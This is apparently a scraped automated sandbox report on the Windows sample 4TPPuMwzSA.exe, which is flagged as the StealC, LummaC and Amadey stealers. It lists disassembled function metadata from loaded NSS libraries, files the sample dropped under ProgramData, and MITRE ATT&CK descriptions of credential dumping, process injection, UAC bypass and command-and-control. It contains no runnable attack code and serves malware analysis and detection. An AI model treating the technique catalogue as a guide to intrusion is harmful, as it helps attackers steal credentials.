Opcode ID: 5ba5810dcf1a5e4b9f146a40692171c47ac4f80065426bc82b3232cb665b14c3
Instruction ID: f04380e9c5f552e35c723011d10590ac13851844a309b1366016e89495f8b463
Opcode Fuzzy Hash: 5ba5810dcf1a5e4b9f146a40692171c47ac4f80065426bc82b3232cb665b14c3
Instruction Fuzzy Hash: A531ECB2D042996BEB109FA09C11BFF7778DF45309F060429ED55A7781EB31AD05CBA2

Function 6CC1AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CC1AF78

Part of subcall function 6CB7ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7ACE2
Part of subcall function 6CB7ACC0: malloc.MOZGLUE(00000001), ref: 6CB7ACEC
Part of subcall function 6CB7ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB7AD02
Part of subcall function 6CB7ACC0: TlsGetValue.KERNEL32 ref: 6CB7AD3C
Part of subcall function 6CB7ACC0: calloc.MOZGLUE(00000001,?), ref: 6CB7AD8C
Part of subcall function 6CB7ACC0: PR_Unlock.NSS3 ref: 6CB7ADC0
Part of subcall function 6CB7ACC0: PR_Unlock.NSS3 ref: 6CB7AE8C
Part of subcall function 6CB7ACC0: free.MOZGLUE(?), ref: 6CB7AEAB

memcpy.VCRUNTIME140(6CCE3084,6CCE02AC,00000090), ref: 6CC1AF94

Strings

SSL, xrefs: 6CC1AF73

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 4bff5b4d02f859cdb9be7e7362cbaee9c12c8c6546a9fa5bd0d2bc6b1821f8ae
Instruction ID: 250456c1cce95aa4cc0bb7c889fcead8737316be07904fb73401984ed4c7740f
Opcode Fuzzy Hash: 4bff5b4d02f859cdb9be7e7362cbaee9c12c8c6546a9fa5bd0d2bc6b1821f8ae
Instruction Fuzzy Hash: 68214BF2309A489FCA81DF53A5133227AB1B34F39875890A9E5084BF35E731A156AFD1

Function 6CB70F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B

Part of subcall function 6CB71370: GetSystemInfo.KERNEL32(?,?,?,?,6CB70936,?,6CB70F20,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000), ref: 6CB7138F

PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

Part of subcall function 6CB71110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CB70936,00000001,00000040), ref: 6CB71130
Part of subcall function 6CB71110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB70936,00000001,00000040), ref: 6CB71142
Part of subcall function 6CB71110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB70936,00000001), ref: 6CB71167

Strings

clock, xrefs: 6CB70F20

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: a7e7663d6c5b01821501627a8d0532d6276f79a553a028f24ac1f60ffad97342
Instruction ID: 47885b7cc610b79f8973431e1b2a1d88e1551413b26ae30f68601bf689a036dc
Opcode Fuzzy Hash: a7e7663d6c5b01821501627a8d0532d6276f79a553a028f24ac1f60ffad97342
Instruction Fuzzy Hash: 38D022316001C821C120A2979CA8B9AB3BCC7C3279F140822E42C41D40CA3480DBE376

Function 6CBE0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CBE0DF5
TlsGetValue.KERNEL32 ref: 6CBE0E2D
TlsGetValue.KERNEL32 ref: 6CBE0E58
TlsGetValue.KERNEL32 ref: 6CBE0E84

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 60160d3ff7325777cd417420bf9ffa238b1d7f406e62699f0369f607bc4c4a53
Instruction ID: 80f8b2fac886d53e13a235dcf81daddc017b2602a381e66f9e64dbb8e3dae07b
Opcode Fuzzy Hash: 60160d3ff7325777cd417420bf9ffa238b1d7f406e62699f0369f607bc4c4a53
Instruction Fuzzy Hash: 1C319070A442C58BDB105F78A44426977B4FF0E788F114679D898C7A11DF35D085EB92

Function 6CBE0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB82AF5,?,?,?,?,?,6CB80A1B,00000000), ref: 6CBE0F1A
malloc.MOZGLUE(00000001), ref: 6CBE0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBE0F42
TlsGetValue.KERNEL32 ref: 6CBE0F5B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 8c6480e1fda552245208d53b3288ee00c0a5099271927736bd87beeb339157ae
Instruction ID: e3fa2324d0de6224183a35892c0e988ce239e6637bf7632547ebc2f5b8d1697a
Opcode Fuzzy Hash: 8c6480e1fda552245208d53b3288ee00c0a5099271927736bd87beeb339157ae
Instruction Fuzzy Hash: AE01B5B1E002C05BEF102B3EAD445567BBCEF5A699B050265EC18C2A21EF21D865D6E2

Function 6CB91EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CB91ECE
free.MOZGLUE(?), ref: 6CB91EDF
free.MOZGLUE(?), ref: 6CB91EEF
free.MOZGLUE(?), ref: 6CB91EF5

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 12c1b0b8416f3e49f6a04dfc462f067078104c0eb0d3a8ef91ac7b88ebb7ddb2
Instruction ID: 5c0eb2906ef7deca3d35176b5b43d0a31eccf68b7e95c334beaf1ad112b6e19f
Opcode Fuzzy Hash: 12c1b0b8416f3e49f6a04dfc462f067078104c0eb0d3a8ef91ac7b88ebb7ddb2
Instruction Fuzzy Hash: 0BF0BEB57006456BEB00EB69EC89E2773BCEF462A4B180434EC0EC3A00EB25F450D6A2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4TPPuMwzSA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDHCAA

C:\ProgramData\AKEGIIJDGHCAKFHJEHCF

C:\ProgramData\BFCGDAAKFHIDBFIDBKFH

C:\ProgramData\EGIJKEHCAKFCAKFHDAAA

C:\ProgramData\GHIJJEGD

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

C:\ProgramData\IECGIEBAEBFIIECBGCBGDHCAFC

C:\ProgramData\freebl3.dll

Windows Analysis Report
4TPPuMwzSA.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre